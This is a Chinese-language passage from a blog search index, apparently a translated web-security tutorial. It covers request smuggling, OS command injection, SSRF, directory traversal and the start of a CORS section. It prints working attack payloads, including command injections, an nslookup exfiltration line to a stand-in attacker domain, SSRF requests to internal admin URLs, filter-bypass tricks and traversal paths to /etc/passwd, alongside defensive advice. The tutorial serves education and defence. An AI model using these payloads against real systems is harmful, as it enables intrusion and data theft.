TE.CL 漏洞,你可以发送如下攻击请求: POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 4 Transfer-Encoding: chunked 7c GET /404 HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 144 x= 0 如果攻击成功,则后端服务器将从 GET / 404 以后的所有内容都视为属于收到的下一个请求。这将会导致随后的正常请求变为: GET /404 HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 146 x= 0 POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11 q=smuggling 由于这个请求的 URL 现在是一个无效的地址,因此服务器将会作出 404 的响应,这表明攻击请求确实产生了干扰。 注意,当试图通过干扰其他请求来确认请求走私漏洞时,应记住一些重要的注意事项: “攻击”请求和“正常”请求应该使用不同的网络连接发送到服务器。通过同一个连接发送两个请求不会证明该漏洞存在。 “攻击”请求和“正常”请求应尽可能使用相同的URL和参数名。这是因为许多现代应用程序根据URL和参数将前端请求路由到不同的后端服务器。使用相同的URL和参数会增加请求被同一个后端服务器处理的可能性,这对于攻击起作用至关重要。 当测试“正常”请求以检测来自“攻击”请求的任何干扰时,您与应用程序同时接收的任何其他请求(包括来自其他用户的请求)处于竞争状态。您应该在“攻击”请求之后立即发送“正常”请求。如果应用程序正忙,则可能需要执行多次尝试来确认该漏洞。 在某些应用中,前端服务器充当负载均衡器,根据某种负载均衡算法将请求转发到不同的后端系统。如果您的“攻击”和“正常”请求被转发到不同的后端系统,则攻击将失败。这是您可能需要多次尝试才能确认漏洞的另一个原因。 如果您的攻击成功地干扰了后续请求,但这不是您为检测干扰而发送的“正常”请求,那么这意味着另一个应用程序用户受到了您的攻击的影响。如果您继续执行测试,这可能会对其他用户产生破坏性影响,您应该谨慎行事。 ","date":"2021-03-04","objectID":"/translation/web-security/request-smuggling/finding-request-smuggling/:2:2","tags":[],"title":"Finding request smuggling","uri":"/translation/web-security/request-smuggling/finding-request-smuggling/"},{"categories":["web security"],"content":"web 安全之 OS command injection","date":"2021-03-03","objectID":"/translation/web-security/command-injection/os-command-injection/","tags":[],"title":"web 安全之 OS command injection","uri":"/translation/web-security/command-injection/os-command-injection/"},{"categories":["web security"],"content":"OS command injection 在本节中,我们将解释什么是操作系统命令注入,描述如何检测和利用此漏洞,为不同的操作系统阐明一些有用的命令和技术,并总结如何防止操作系统命令注入。 ","date":"2021-03-03","objectID":"/translation/web-security/command-injection/os-command-injection/:0:0","tags":[],"title":"web 安全之 OS command injection","uri":"/translation/web-security/command-injection/os-command-injection/"},{"categories":["web security"],"content":"什么是操作系统命令注入 OS 命令注入(也称为 shell 注入)是一个 web 安全漏洞,它允许攻击者在运行应用程序的服务器上执行任意的操作系统命令,这通常会对应用程序及其所有数据造成严重危害。并且,攻击者也常常利用此漏洞危害基础设施中的其他部分,利用信任关系攻击组织内的其他系统。 ","date":"2021-03-03","objectID":"/translation/web-security/command-injection/os-command-injection/:1:0","tags":[],"title":"web 安全之 OS command injection","uri":"/translation/web-security/command-injection/os-command-injection/"},{"categories":["web security"],"content":"执行任意命令 假设某个购物应用程序允许用户查看某个商品在特定商店中是否有库存,此信息可以通过以下 URL 获取: https://insecure-website.com/stockStatus?productID=381\u0026storeID=29 为了提供返回信息,应用程序必须查询各种遗留系统。由于历史原因,此功能通过调用 shell 命令并传递参数来实现如下: stockreport.pl 381 29 此命令输出特定商店中某个商品的库存信息,并将其返回给用户。 由于应用程序没有对 OS 命令注入进行防御,那么攻击者可以提交类似以下输入来执行任意命令: \u0026 echo aiwefwlguh \u0026 如果这个输入被当作 productID 参数,那么应用程序执行的命令就是: stockreport.pl \u0026 echo aiwefwlguh \u0026 29 echo 命令就是让提供的字符串在输出中显示的作用,其是测试某些 OS 命令注入的有效方法。\u0026 符号就是一个 shell 命令分隔符,因此上例实际执行的是一个接一个的三个单独的命令。因此,返回给用户的输出为: Error - productID was not provided aiwefwlguh 29: command not found 这三行输出表明: 原来的 stockreport.pl 命令由于没有收到预期的参数,因此返回错误信息。 注入的 echo 命令执行成功。 原始的参数 29 被当成了命令执行,也导致了异常。 将命令分隔符 \u0026 放在注入命令之后通常是有用的,因为它会将注入的命令与注入点后面的命令分开,这减少了随后发生的事情将阻止注入命令执行的可能性。 ","date":"2021-03-03","objectID":"/translation/web-security/command-injection/os-command-injection/:2:0","tags":[],"title":"web 安全之 OS command injection","uri":"/translation/web-security/command-injection/os-command-injection/"},{"categories":["web security"],"content":"常用的命令 当你识别 OS 命令注入漏洞时,执行一些初始命令以获取有关系统信息通常很有用。下面是一些在 Linux 和 Windows 平台上常用命令的摘要: 命令含义 Linux Windows 显示当前用户名 whoami whoami 显示操作系统信息 uname -a ver 显示网络配置 ifconfig ipconfig /all 显示网络连接 netstat -an netstat -an 显示正在运行的进程 ps -ef tasklist ","date":"2021-03-03","objectID":"/translation/web-security/command-injection/os-command-injection/:3:0","tags":[],"title":"web 安全之 OS command injection","uri":"/translation/web-security/command-injection/os-command-injection/"},{"categories":["web security"],"content":"不可见 OS 命令注入漏洞 许多 OS 命令注入漏洞都是不可见的,这意味着应用程序不会在其 HTTP 响应中返回命令的输出。 不可见 OS 命令注入漏洞仍然可以被利用,但需要不同的技术。 假设某个 web 站点允许用户提交反馈信息,用户输入他们的电子邮件地址和反馈信息,然后服务端生成一封包含反馈信息的电子邮件投递给网站管理员。为此,服务端需要调用 mail 程序,如下: mail -s \"This site is great\" -aFrom:peter@normal-user.net feedback@vulnerable-website.com mail 命令的输出并没有作为应用程序的响应返回,因此使用 echo 负载不会有效。这种情况,你可以使用一些其他的技术来检测漏洞。 ","date":"2021-03-03","objectID":"/translation/web-security/command-injection/os-command-injection/:4:0","tags":[],"title":"web 安全之 OS command injection","uri":"/translation/web-security/command-injection/os-command-injection/"},{"categories":["web security"],"content":"基于延时检测 你可以使用能触发延时的注入命令,然后根据应用程序的响应时长来判断注入的命令是否被执行。使用 ping 命令是一种有效的方式,因为此命令允许你指定要发送的 ICMP 包的数量以及命令运行的时间: \u0026 ping -c 10 127.0.0.1 \u0026 这个命令将会 ping 10 秒钟。 ","date":"2021-03-03","objectID":"/translation/web-security/command-injection/os-command-injection/:4:1","tags":[],"title":"web 安全之 OS command injection","uri":"/translation/web-security/command-injection/os-command-injection/"},{"categories":["web security"],"content":"重定向输出 你可以将注入命令的输出重定向到能够使用浏览器访问到的 web 目录。例如,应用程序使用 /var/www/static 路径作为静态资源目录,那么你可以提交以下输入: \u0026 whoami \u003e /var/www/static/whoami.txt \u0026 \u003e 符号就是输出重定向的意思,上面这个命令就是把 whoami 的执行结果输出到 /var/www/static/whoami.txt 文件中,然后你就可以通过浏览器访问 https://vulnerable-website.com/whoami.txt 查看命令的输出结果。 ","date":"2021-03-03","objectID":"/translation/web-security/command-injection/os-command-injection/:4:2","tags":[],"title":"web 安全之 OS command injection","uri":"/translation/web-security/command-injection/os-command-injection/"},{"categories":["web security"],"content":"使用 OAST 技术 使用 OAST 带外技术就是你要有一个自己控制的外部系统,然后注入命令执行,触发与你控制的系统的交互。例如: \u0026 nslookup kgji2ohoyw.web-attacker.com \u0026 这个负载使用 nslookup 命令对指定域名进行 DNS 查找,攻击者可以监视是否发生了指定的查找,从而检测命令是否成功注入执行。 带外通道还提供了一种简单的方式将注入命令的输出传递出来,例如: \u0026 nslookup `whoami`.kgji2ohoyw.web-attacker.com \u0026 这将导致对攻击者控制的域名的 DNS 查找,如: wwwuser.kgji2ohoyw.web-attacker.com ","date":"2021-03-03","objectID":"/translation/web-security/command-injection/os-command-injection/:4:3","tags":[],"title":"web 安全之 OS command injection","uri":"/translation/web-security/command-injection/os-command-injection/"},{"categories":["web security"],"content":"注入 OS 命令的方法 各种 shell 元字符都可以用于执行 OS 命令注入攻击。 许多字符用作命令分隔符,从而将多个命令连接在一起。以下分隔符在 Windows 和 Unix 类系统上均可使用: \u0026 \u0026\u0026 | || 以下命令分隔符仅适用于 Unix 类系统: ; 换行符(0x0a 或 \\n) 在 Unix 类系统上,还可以使用 ` 反引号和 $ 符号在原始命令内注入命令内联执行: ` $ 需要注意的是,不同的 shell 元字符具有细微不同的行为,这些行为可能会影响它们在某些情况下是否工作,以及它们是否允许在带内检索命令输出,或者只对不可见 OS 利用有效。 有时,你控制的输入会出现在原始命令中的引号内。在这种情况下,您需要在使用合适的 shell 元字符注入新命令之前终止引用的上下文(使用 \" 或 ’)。 ","date":"2021-03-03","objectID":"/translation/web-security/command-injection/os-command-injection/:5:0","tags":[],"title":"web 安全之 OS command injection","uri":"/translation/web-security/command-injection/os-command-injection/"},{"categories":["web security"],"content":"如何防御 OS 命令注入攻击 防止 OS 命令注入攻击最有效的方法就是永远不要从应用层代码中调用 OS 命令。几乎在对于所有情况下,都有使用更安全的平台 API 来实现所需功能的替代方法。 如果认为使用用户提供的输入调用 OS 命令是不可避免的,那么必须执行严格的输入验证。有效验证的一些例子包括: 根据允许值的白名单校验。 验证输入是否为数字。 验证输入是否只包含字母数字字符,不包含其它语法或空格。 不要试图通过转义 shell 元字符来清理输入。实际上,这太容易出错,且很容易被熟练的攻击者绕过。 ","date":"2021-03-03","objectID":"/translation/web-security/command-injection/os-command-injection/:6:0","tags":[],"title":"web 安全之 OS command injection","uri":"/translation/web-security/command-injection/os-command-injection/"},{"categories":["web security"],"content":"web 安全之 Server-side request forgery","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"Server-side request forgery (SSRF) 在本节中,我们将解释 server-side request forgery(服务端请求伪造)是什么,并描述一些常见的示例,以及解释如何发现和利用各种 SSRF 漏洞。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:0:0","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"SSRF 是什么 SSRF 服务端请求伪造是一个 web 漏洞,它允许攻击者诱导服务端程序向攻击者选择的任何地址发起 HTTP 请求。 在典型的 SSRF 示例中,攻击者可能会使服务端建立一个到服务端自身、或组织基础架构中的其它基于 web 的服务、或外部第三方系统的连接。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:1:0","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"SSRF 攻击的影响 成功的 SSRF 攻击通常会导致未经授权的操作或对组织内部数据的访问,无论是在易受攻击的应用程序本身,还是应用程序可以通信的其它后端系统。在某些情况下,SSRF 漏洞可能允许攻击者执行任意的命令。 利用 SSRF 漏洞可能可以操作服务端应用程序使其向与之连接的外部第三方系统发起恶意请求,这将导致潜在的法律责任和声誉受损。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:2:0","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"常见的 SSRF 攻击 SSRF 攻击通常利用服务端应用程序的信任关系发起攻击并执行未经授权的操作。这种信任关系可能包括:对服务端自身的信任,或同组织内其它后端系统的信任。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:3:0","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"SSRF 攻击服务端自身 在针对服务端本身的 SSRF 攻击中,攻击者诱导应用程序向其自身发出 HTTP 请求,这通常需要提供一个主机名是 127.0.0.1 或者 localhost 的 URL 。 例如,假设某个购物应用程序,其允许用户查看某个商品在特定商店中是否有库存。为了提供库存信息,应用程序需要通过 REST API 查询其他后端服务,而其他后端服务的 URL 地址直接包含在前端 HTTP 请求中。因此,当用户查看商品的库存状态时,浏览器可能发出如下请求: POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1 这将导致服务端向指定的 URL 发出请求,检索库存状态,然后将结果返回给用户。 在这种情况下,攻击者可以修改请求以指定服务器本地的 URL ,例如: POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://localhost/admin 此时,服务端将会访问本地 /admin URL 并将其内容返回给用户。 当然,攻击者可以直接访问 /admin URL ,但是这通常没用,因为管理功能基本都需要进行适当的身份验证,而如果对 /admin URL 的请求来自机器本地,则正常情况下的访问控制可能会被绕过。该服务端应用程序可能会授予对管理功能的完全访问权限,因为请求似乎来自受信任的位置。 为什么应用程序会以这种方式运行,并且隐式信任来自本地的请求?这可能有多种原因: 访问控制检查可能是另外的一个微服务。当服务器连接自身时,将会绕过访问控制检查。 出于灾难恢复的目的,应用程序可能允许来自本地机器的任何用户在不登录的情况下进行管理访问。这为管理员在丢失凭证时恢复系统提供了一种方法。这里的假设是只有完全可信的用户才能直接来自服务器本地。 管理接口可能与主应用是不同的端口号,因为用户可能无法直接访问。 在这种信任关系中,来自本地机器的请求的处理方式与普通请求不同,这常常使 SSRF 成为一个严重的漏洞。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:3:1","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"针对其他后端系统的 SSRF 攻击 SSRF 利用的另外一种信任关系是应用服务端与用户无法直接访问的内部后端系统之间进行的交互,这些后端系统通常具有不可路由的专用 IP 地址,由于受到网络拓扑结构的保护,它们的安全性往往较弱。在许多情况下,内部后端系统包含一些敏感功能,任何能够与系统交互的人都可以在不进行身份验证的情况下访问这些功能。 在前面的示例中,假设后端系统有一个管理接口 https://192.168.0.68/admin 。此时,攻击者可以通过提交以下请求利用 SSRF 漏洞访问管理接口: POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://192.168.0.68/admin ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:3:2","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"规避常见的 SSRF 防御 通常应用程序包含 SSRF 行为以及防止恶意攻击的防御措施,然而这些防御措施是可以被规避的。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:4:0","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"基于黑名单过滤的 SSRF 某些应用程序禁止例如 127.0.0.1、localhost 等主机名、或 /admin 等敏感 URL 。这种情况下,可以使用各种技巧绕过过滤: 使用 127.0.0.1 的替代 IP 地址表示,例如 2130706433,017700000001,127.1 。 注册自己的域名,并解析为 127.0.0.1 ,你可以直接使用 spoofed.burpcollaborator.net 。 使用 URL 编码或大小写变化来混淆被阻止的字符串。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:4:1","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"基于白名单过滤的 SSRF 有些应用程序只允许输入匹配、或包含白名单中的值,或以白名单中的值开头。在这种情况下,有时可以利用 URL 解析的不一致来绕过过滤器。 URL 规范包含有许多在实现 URL 的解析和验证时容易被忽略的特性: 你可以在主机名之前使用 @ 符号嵌入凭证。例如 https://expected-host@evil-host 。 你可以使用 # 符号表示一个 URL 片段。例如 https://evil-host#expected-host 。 你可以利用 DNS 命令层次结构将所需的输入放入你控制的标准 DNS 名称中。例如 https://expected-host.evil-host 。 你可以使用 URL 编码字符来迷惑 URL 解析代码。如果处理 URL 编码的过滤器的实现不同与执行后端 HTTP 请求的代码,这一点尤其有用。 你可以把这些技巧结合起来使用。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:4:2","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"通过开放重定向绕过 SSRF 过滤器 有时利用开放重定向漏洞可以绕过任何基于过滤器的防御。 在前面的示例中,假设用户提交的 URL 经过严格验证,以防止恶意利用 SSRF 的行为,但是,允许使用 URL 的应用程序包含一个开放重定向漏洞。如果用于发起后端 HTTP 请求的 API 支持重定向,那么你可以构造一个满足过滤器的要求的 URL ,并将请求重定向到所需的后端目标。 例如,假设应用程序包含一个开放重定向漏洞,例如下面 URL 的形式: /product/nextProduct?currentProductId=6\u0026path=http://evil-user.net 重定向到: http://evil-user.net 你可以利用开放重定向漏洞绕过 URL 过滤器,并利用 SSRF 漏洞进行攻击,如: POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6\u0026path=http://192.168.0.68/admin 这个 SSRF 攻击之所有有效,是因为首先 stockAPI URL 在应用程序允许的域上,然后应用程序向提供的 URL 发起请求,触发了重定向,最终向重定向的内部 URL 发起了请求。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:4:3","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"Blind SSRF - 不可见 SSRF 漏洞 所谓 Blind SSRF(不可见 SSRF)漏洞是指,可以诱导应用程序向提供的 URL 发起后端 HTTP 请求,但是请求的响应并没有在应用程序的前端响应中返回。 不可见 SSRF 漏洞通常较难利用,但有时会导致服务器或其他后端组件上的远程代码执行。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:5:0","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"寻找 SSRF 漏洞的隐藏攻击面 许多 SSRF 漏洞之所以相对容易发现,是因为应用程序的正常通信中就包含了完整的 URL 请求参数。而其它情况就比较难搞了。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:6:0","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"请求中的部分 URL 有时应用程序只将主机名或 URL 路径的一部分放入请求参数中,然后,提交的值被合并到服务端请求的完整 URL 中。如果该值很容易被识别为主机名或 URL 路径,那么潜在的攻击面可能很明显。但是,因为你不能控制最终请求的 URL,所以 SSRF 的可利用性会受到限制。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:6:1","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"数据格式内的 URL 有些应用程序以某种数据格式传输数据,URL 则包含在指定数据格式中。这里的数据格式的一个明显的例子就是 XML ,当应用程序接受 XML 格式的数据并对其进行解析时,可能会受到 XXE 注入,进而通过 XXE 完成 SSRF 攻击。有关 XXE 注入漏洞会有专门的章节讲解。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:6:2","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"通过 Referer 头的 SSRF 一些应用程序使用服务端分析软件来跟踪访问者,这种软件经常在请求中记录 Referer 头,因为这对于跟踪传入链接特别有用。通常,分析软件实际上会访问 Referer 头中出现的任何第三方 URL 。这通常用于分析引用站点的内容,包括传入链接中使用的锚文本。因此,Referer 头通常是 SSRF 漏洞的有效攻击面。有关涉及 Referer 头的漏洞示例请参阅 Blind SSRF 。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/ssrf/:6:3","tags":[],"title":"web 安全之 Server-side request forgery","uri":"/translation/web-security/ssrf/ssrf/"},{"categories":["web security"],"content":"Blind SSRF","date":"2021-03-01","objectID":"/translation/web-security/ssrf/blind-ssrf/","tags":[],"title":"Blind SSRF","uri":"/translation/web-security/ssrf/blind-ssrf/"},{"categories":["web security"],"content":"Blind SSRF 在本节中,我们将解释什么是不可见的服务端请求伪造,并描述一些常见的不可见 SSRF 示例,以及解释如何发现和利用不可见 SSRF 漏洞。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/blind-ssrf/:0:0","tags":[],"title":"Blind SSRF","uri":"/translation/web-security/ssrf/blind-ssrf/"},{"categories":["web security"],"content":"什么是不可见 SSRF 不可见 SSRF 漏洞是指,可以诱导应用程序向提供的 URL 发出后端 HTTP 请求,但来自后端请求的响应没有在应用程序的前端响应中返回。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/blind-ssrf/:1:0","tags":[],"title":"Blind SSRF","uri":"/translation/web-security/ssrf/blind-ssrf/"},{"categories":["web security"],"content":"不可见 SSRF 漏洞的影响 不可见 SSRF 漏洞的影响往往低于完全可见的 SSRF 漏洞,因为其单向性,虽然在某些情况下,可以利用它们从后端系统检索敏感数据,但不能轻易地利用它们来实现完整的远程代码执行。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/blind-ssrf/:2:0","tags":[],"title":"Blind SSRF","uri":"/translation/web-security/ssrf/blind-ssrf/"},{"categories":["web security"],"content":"如何发现和利用不可见 SSRF 漏洞 检测不可见 SSRF 漏洞最可靠的方法是使用 out-of-band(OAST)带外技术。这包括尝试触发对你控制的外部系统的 HTTP 请求,并监视与该系统的网络交互。 使用 OAST 技术最简单有效的方式是使用 Burp Collaborator (付费软件)。你可以使用 Burp Collaborator client 生成唯一的域名,将这个域名以有效负载的形式发送到检测漏洞的应用程序,并监视与这个域名的任何交互,如果观察到来自应用程序传入的 HTTP 请求,则说明应用程序存在 SSRF 漏洞。 注意:在测试 SSRF 漏洞时,通常会观察到所提供域名的 DNS 查找,但是却没有后续的 HTTP 请求。这通常是应用程序视图向该域名发出 HTTP 请求,这导致了初始的 DNS 查找,但实际的 HTTP 请求被网络拦截了。基础设施允许出站的 DNS 流量是相对常见的,因为出于很多目的需要,但是会阻止到意外目的地的 HTTP 连接。 简单地识别一个可以触发 out-of-band 带外 HTTP 请求的不可见 SSRF 漏洞本身并没有提供一个可利用的途径。由于你无法查看来自后端请求的响应,因此也无法得知具体的内容。但是,它仍然可以用来探测服务器本身或其他后端系统上的其他漏洞。你可以盲目地扫描内部 IP 地址空间,发送旨在检测已知漏洞的有效负载,如果这些有效负载也使用带外技术,那么您可能会发现内部服务器上的一个未修补的严重漏洞。 另一种利用不可见 SSRF 漏洞的方法是诱导应用程序连接到攻击者控制下的系统,并将恶意响应返回到进行连接的 HTTP 客户端。如果你可以利用服务端 HTTP 实现中的严重的客户端漏洞,那么你也许能够在应用程序基础架构中进行远程代码执行。 ","date":"2021-03-01","objectID":"/translation/web-security/ssrf/blind-ssrf/:3:0","tags":[],"title":"Blind SSRF","uri":"/translation/web-security/ssrf/blind-ssrf/"},{"categories":["web security"],"content":"web 安全之 Directory traversal","date":"2021-03-01","objectID":"/translation/web-security/directory-traversal/directory-traversal/","tags":[],"title":"web 安全之 Directory traversal","uri":"/translation/web-security/directory-traversal/directory-traversal/"},{"categories":["web security"],"content":"Directory traversal - 目录遍历 在本节中,我们将介绍什么是目录遍历,描述如何执行路径遍历攻击和绕过常见障碍,并阐明如何防止路径遍历漏洞。 ","date":"2021-03-01","objectID":"/translation/web-security/directory-traversal/directory-traversal/:0:0","tags":[],"title":"web 安全之 Directory traversal","uri":"/translation/web-security/directory-traversal/directory-traversal/"},{"categories":["web security"],"content":"什么是目录遍历? 目录遍历(也称为文件路径遍历)是一个 web 安全漏洞,此漏洞使攻击者能够读取运行应用程序的服务器上的任意文件。这可能包括应用程序代码和数据、后端系统的凭据以及操作系统相关敏感文件。在某些情况下,攻击者可能能够对服务器上的任意文件进行写入,从而允许他们修改应用程序数据或行为,并最终完全控制服务器。 ","date":"2021-03-01","objectID":"/translation/web-security/directory-traversal/directory-traversal/:1:0","tags":[],"title":"web 安全之 Directory traversal","uri":"/translation/web-security/directory-traversal/directory-traversal/"},{"categories":["web security"],"content":"通过目录遍历读取任意文件 假设某个应用程序通过如下 HTML 加载图像: \u003cimg src=\"/loadImage?filename=218.png\"\u003e 这个 loadImage URL 通过 filename 文件名参数来返回指定文件的内容,假设图像本身存储在路径为 /var/www/images/ 的磁盘上。应用程序基于此基准路径与请求的 filename 文件名返回如下路径的图像: /var/www/images/218.png 如果该应用程序没有针对目录遍历攻击采取任何防御措施,那么攻击者可以请求类似如下 URL 从服务器的文件系统中检索任意文件: https://insecure-website.com/loadImage?filename=../../../etc/passwd 这将导致如下路径的文件被返回: /var/www/images/../../../etc/passwd ../ 表示上级目录,因此这个文件其实就是: /etc/passwd 在 Unix 操作系统上,这个文件是一个内容为该服务器上注册用户详细信息的标准文件。 在 Windows 系统上,..\\ 和 ../ 的作用相同,都表示上级目录,因此检索标准操作系统文件可以通过如下方式: https://insecure-website.com/loadImage?filename=..\\..\\..\\windows\\win.ini ","date":"2021-03-01","objectID":"/translation/web-security/directory-traversal/directory-traversal/:2:0","tags":[],"title":"web 安全之 Directory traversal","uri":"/translation/web-security/directory-traversal/directory-traversal/"},{"categories":["web security"],"content":"利用文件路径遍历漏洞的常见障碍 许多将用户输入放入文件路径的应用程序实现了某种应对路径遍历攻击的防御措施,然而这些措施却通常可以被规避。 如果应用程序从用户输入的 filename 中剥离或阻止 ..\\ 目录遍历序列,那么也可以使用各种技巧绕过防御。 你可以使用从系统根目录开始的绝对路径,例如 filename=/etc/passwd 这样直接引用文件而不使用任何 ..\\ 形式的遍历序列。 你也可以嵌套的遍历序列,例如 ....// 或者 ....\\/ ,即使内联序列被剥离,其也可以恢复为简单的遍历序列。 你还可以使用各种非标准编码,例如 ..%c0%af 或者 ..%252f 以绕过输入过滤器。 如果应用程序要求用户提供的文件名必须以指定的文件夹开头,例如 /var/www/images ,则可以使用后跟遍历序列的方式绕过,例如: filename=/var/www/images/../../../etc/passwd 如果应用程序要求用户提供的文件名必须以指定的后缀结尾,例如 .png ,那么可以使用空字节在所需扩展名之前有效地终止文件路径并绕过检查: filename=../../../etc/passwd%00.png ","date":"2021-03-01","objectID":"/translation/web-security/directory-traversal/directory-traversal/:3:0","tags":[],"title":"web 安全之 Directory traversal","uri":"/translation/web-security/directory-traversal/directory-traversal/"},{"categories":["web security"],"content":"如何防御目录遍历攻击 防御文件路径遍历漏洞最有效的方式是避免将用户提供的输入直接完整地传递给文件系统 API 。许多实现此功能的应用程序部分可以重写,以更安全的方式提供相同的行为。 如果认为将用户输入传递到文件系统 API 是不可避免的,则应该同时使用以下两层防御措施: 应用程序对用户输入进行严格验证。理想情况下,通过白名单的形式只允许明确的指定值。如果无法满足需求,那么应该验证输入是否只包含允许的内容,例如纯字母数字字符。 验证用户输入后,应用程序应该将输入附加到基准目录下,并使用平台文件系统 API 规范化路径,然后验证规范化后的路径是否以基准目录开头。 下面是一个简单的 Java 代码示例,基于用户输入验证规范化路径: File file = new File(BASE_DIRECTORY, userInput); if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) { // process file } ","date":"2021-03-01","objectID":"/translation/web-security/directory-traversal/directory-traversal/:4:0","tags":[],"title":"web 安全之 Directory traversal","uri":"/translation/web-security/directory-traversal/directory-traversal/"},{"categories":["web security"],"content":"web 安全之 CORS","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"Cross-origin resource sharing (CORS) 在本节中,我们将解释什么是跨域资源共享(CORS),并描述一些基于 CORS 的常见攻击示例,以及讨论如何防御这些攻击。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:0:0","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"CORS(跨域资源共享)是什么? CORS(跨域资源共享)是一种浏览器机制,它允许对位于当前访问域之外的资源进行受控访问。它扩展并增加了同源策略的灵活性。然而,如果一个网站的 CORS 策略配置和实现不当,它也可能导致基于跨域的攻击。CORS 不是针对跨源攻击(例如跨站请求伪造 CSRF)的保护。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:1:0","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"Same-origin policy(同源策略) 同源策略是一种限制性的跨域规范,它限制了网站与源域之外资源交互的能力。同源策略是多年前定义的,用于应对潜在的恶意跨域交互,例如一个网站从另一个网站窃取私人数据。它通常允许域向其他域发出请求,但不允许访问响应。 更多内容请参考 Same-origin-policy 。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:2:0","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"同源策略的放宽 同源策略具有很大的限制性,因此人们设计了很多方法去规避这些限制。许多网站与子域或第三方网站的交互方式要求完全的跨域访问。使用跨域资源共享(CORS)可以有控制地放宽同源策略。 CORS 协议使用一组 HTTP header 来定义可信的 web 域和相关属性,例如是否允许通过身份验证的访问。浏览器和它试图访问的跨域网站之间进行这些 header 的交换。 更多内容请参考 CORS and the Access-Control-Allow-Origin response header 。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:3:0","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"CORS 配置不当引发的漏洞 现在许多网站使用 CORS 来允许来自子域和可信的第三方的访问。他们对 CORS 的实现可能包含有错误或过于放宽,这可能导致可利用的漏洞。 ","date":"2021-02-28","objectID":"/translation/web-security/cors/cors/:4:0","tags":[],"title":"web 安全之 CORS","uri":"/translation/web-security/cors/cors/"},{"categories":["web security"],"content":"服务端 ACAO 直接返回客户端的 Origin 有些应用程序需要允许很多其它域的访问。维护一个允许域的列表需要付出持续的努力,任何差错都有可能造成破坏。因此,应用程序可能使用一些更加简单的方法来达到最终目的。 一种方法是从请求头中读取 Origin,然后将其作为 Access-Control-Allow-Origin 